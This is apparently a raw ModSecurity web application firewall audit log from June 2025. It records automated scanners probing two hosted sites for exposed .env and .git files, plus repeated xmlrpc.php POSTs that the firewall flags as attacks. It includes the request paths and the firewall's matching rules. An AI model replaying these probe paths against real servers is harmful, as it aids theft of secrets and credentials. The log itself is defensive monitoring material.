"TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin.dll"] [unique_id "aE8gny7MaF0j8lD2KTIY-AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016159637360 730905 (- - -) Stopwatch2: 1750016159637360 730905; combined=2052, p1=427, p2=1514, p3=0, p4=0, p5=110, sr=135, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a66415f-Z-- --ea449f4b-A-- [16/Jun/2025:01:06:01.410622 +0530] aE8goOuqUCmpR0cewAv8pwAAAAE 185.177.72.210 35842 127.0.0.1 7081 --ea449f4b-B-- GET /:10000/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea449f4b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33063e21caf4af62f5eb68c432f6c4c41750016161; expires=Sun, 15 Jun 2025 20:36:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea449f4b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.docker/.env"] [unique_id "aE8goOuqUCmpR0cewAv8pwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016160726178 684520 (- - -) Stopwatch2: 1750016160726178 684520; combined=1804, p1=386, p2=1310, p3=0, p4=0, p5=107, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea449f4b-Z-- --972ab40a-A-- [16/Jun/2025:01:06:31.292303 +0530] aE8gvi7MaF0j8lD2KTIZDQAAAAM 128.199.112.101 60050 127.0.0.1 7081 --972ab40a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --972ab40a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --972ab40a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8gvi7MaF0j8lD2KTIZDQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016190352711 939648 (- - -) Stopwatch2: 1750016190352711 939648; combined=2106, p1=367, p2=1369, p3=41, p4=57, p5=170, sr=100, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --972ab40a-Z-- --ce59ac0a-A-- [16/Jun/2025:01:07:06.912332 +0530] aE8g4uuqUCmpR0cewAv82gAAAAE 185.177.72.210 59842 127.0.0.1 7081 --ce59ac0a-B-- GET /:10000/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce59ac0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e530687ffccf8a156cd140ca5ae201721750016226; expires=Sun, 15 Jun 2025 20:37:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce59ac0a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/staging2/.env"] [unique_id "aE8g4uuqUCmpR0cewAv82gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016226032180 880235 (- - -) Stopwatch2: 1750016226032180 880235; combined=1981, p1=427, p2=1464, p3=0, p4=0, p5=90, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce59ac0a-Z-- --550ae333-A-- [16/Jun/2025:01:07:32.071744 +0530] aE8g-zwutQMQaeKIpO_NNAAAAAg 128.199.112.101 42132 127.0.0.1 7081 --550ae333-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --550ae333-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --550ae333-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8g-zwutQMQaeKIpO_NNAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016251139797 932003 (- - -) Stopwatch2: 1750016251139797 932003; combined=2256, p1=409, p2=1432, p3=50, p4=70, p5=179, sr=118, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --550ae333-Z-- --82209443-A-- [16/Jun/2025:01:08:26.204410 +0530] aE8hMeuqUCmpR0cewAv9AgAAAAE 185.177.72.210 39372 127.0.0.1 7081 --82209443-B-- GET /:8888/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82209443-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d7c584f6ccc70d1084373d9ee9e31421750016306; expires=Sun, 15 Jun 2025 20:38:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82209443-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/sites/all/libraries/courrierchimp/.env"] [unique_id "aE8hMeuqUCmpR0cewAv9AgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016305520074 684421 (- - -) Stopwatch2: 1750016305520074 684421; combined=2028, p1=422, p2=1481, p3=0, p4=0, p5=124, sr=140, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82209443-Z-- --35da2502-A-- [16/Jun/2025:01:08:32.664309 +0530] aE8hOCCwfN5GtQhYhHBFRwAAAAw 185.177.72.210 55804 127.0.0.1 7081 --35da2502-B-- GET /:9000/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35da2502-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4be8d2c96d61e344db3566d2f0771dc51750016312; expires=Sun, 15 Jun 2025 20:38:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35da2502-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/rest/.env"] [unique_id "aE8hOCCwfN5GtQhYhHBFRwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016312008287 656128 (- - -) Stopwatch2: 1750016312008287 656128; combined=2203, p1=629, p2=1452, p3=0, p4=0, p5=122, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35da2502-Z-- --77b96438-A-- [16/Jun/2025:01:08:32.852771 +0530] aE8hN4fvqn7_SDWw_wX3FwAAAAc 128.199.112.101 55794 127.0.0.1 7081 --77b96438-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --77b96438-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --77b96438-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8hN4fvqn7_SDWw_wX3FwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016311873902 978925 (- - -) Stopwatch2: 1750016311873902 978925; combined=2212, p1=380, p2=1462, p3=44, p4=58, p5=168, sr=108, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77b96438-Z-- --9a1cf85b-A-- [16/Jun/2025:01:08:40.534262 +0530] aE8hP4fvqn7_SDWw_wX3GwAAAAc 185.177.72.210 59686 127.0.0.1 7081 --9a1cf85b-B-- GET /:5000/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a1cf85b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b79912f20cbe88b96f032c315e115251750016320; expires=Sun, 15 Jun 2025 20:38:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a1cf85b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/symfony/.env"] [unique_id "aE8hP4fvqn7_SDWw_wX3GwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016319862708 671620 (- - -) Stopwatch2: 1750016319862708 671620; combined=1889, p1=374, p2=1413, p3=0, p4=0, p5=102, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a1cf85b-Z-- --2bf3360f-A-- [16/Jun/2025:01:08:42.593464 +0530] aE8hQT6fDirgE_qJvgHK3gAAAAA 185.177.72.210 60020 127.0.0.1 7081 --2bf3360f-B-- GET /.git/info/attributes HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2bf3360f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d558b5d52d3c55918b09a7d5f59b30b61750016322; expires=Sun, 15 Jun 2025 20:38:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2bf3360f-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/info/attributes"] [unique_id "aE8hQT6fDirgE_qJvgHK3gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016321875405 718165 (- - -) Stopwatch2: 1750016321875405 718165; combined=2144, p1=388, p2=1579, p3=0, p4=0, p5=176, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2bf3360f-Z-- --d0138a15-A-- [16/Jun/2025:01:09:32.342029 +0530] aE8hcwW_rlaNA7qLBTtFCQAAAAs 128.199.112.101 38930 127.0.0.1 7081 --d0138a15-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d0138a15-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d0138a15-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8hcwW_rlaNA7qLBTtFCQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016371391096 951001 (- - -) Stopwatch2: 1750016371391096 951001; combined=2431, p1=399, p2=1575, p3=45, p4=67, p5=207, sr=115, sw=138, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0138a15-Z-- --3856c037-A-- [16/Jun/2025:01:10:33.131822 +0530] aE8hsJnj7pFxi-BGHz6uwQAAAAI 128.199.112.101 59728 127.0.0.1 7081 --3856c037-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3856c037-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3856c037-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8hsJnj7pFxi-BGHz6uwQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016432203562 928316 (- - -) Stopwatch2: 1750016432203562 928316; combined=2186, p1=449, p2=1351, p3=41, p4=63, p5=176, sr=128, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3856c037-Z-- --b786525f-A-- [16/Jun/2025:01:10:40.938438 +0530] aE8huHsalJN_0-_70dLxRQAAAAU 185.177.72.210 41242 127.0.0.1 7081 --b786525f-B-- GET /vod_installer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b786525f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f66132262e9ce08ecbcfb05a0a8239d11750016440; expires=Sun, 15 Jun 2025 20:40:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b786525f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/vod_installer/.env"] [unique_id "aE8huHsalJN_0-_70dLxRQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016440275443 663071 (- - -) Stopwatch2: 1750016440275443 663071; combined=2083, p1=377, p2=1595, p3=0, p4=0, p5=110, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b786525f-Z-- --3dad8e08-A-- [16/Jun/2025:01:10:44.524662 +0530] aE8huz6fDirgE_qJvgHLEwAAAAA 185.177.72.210 41400 127.0.0.1 7081 --3dad8e08-B-- GET /psnlink/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dad8e08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66a685a2492a1b36fffe2fd8b0f46ce61750016444; expires=Sun, 15 Jun 2025 20:40:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dad8e08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/psnlink/.env"] [unique_id "aE8huz6fDirgE_qJvgHLEwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016443847645 677081 (- - -) Stopwatch2: 1750016443847645 677081; combined=1993, p1=418, p2=1459, p3=0, p4=0, p5=115, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dad8e08-Z-- --b2eccd67-A-- [16/Jun/2025:01:11:12.632935 +0530] aE8h1-uqUCmpR0cewAv9UwAAAAE 185.177.72.210 41606 127.0.0.1 7081 --b2eccd67-B-- GET /docker-elk/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b2eccd67-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; 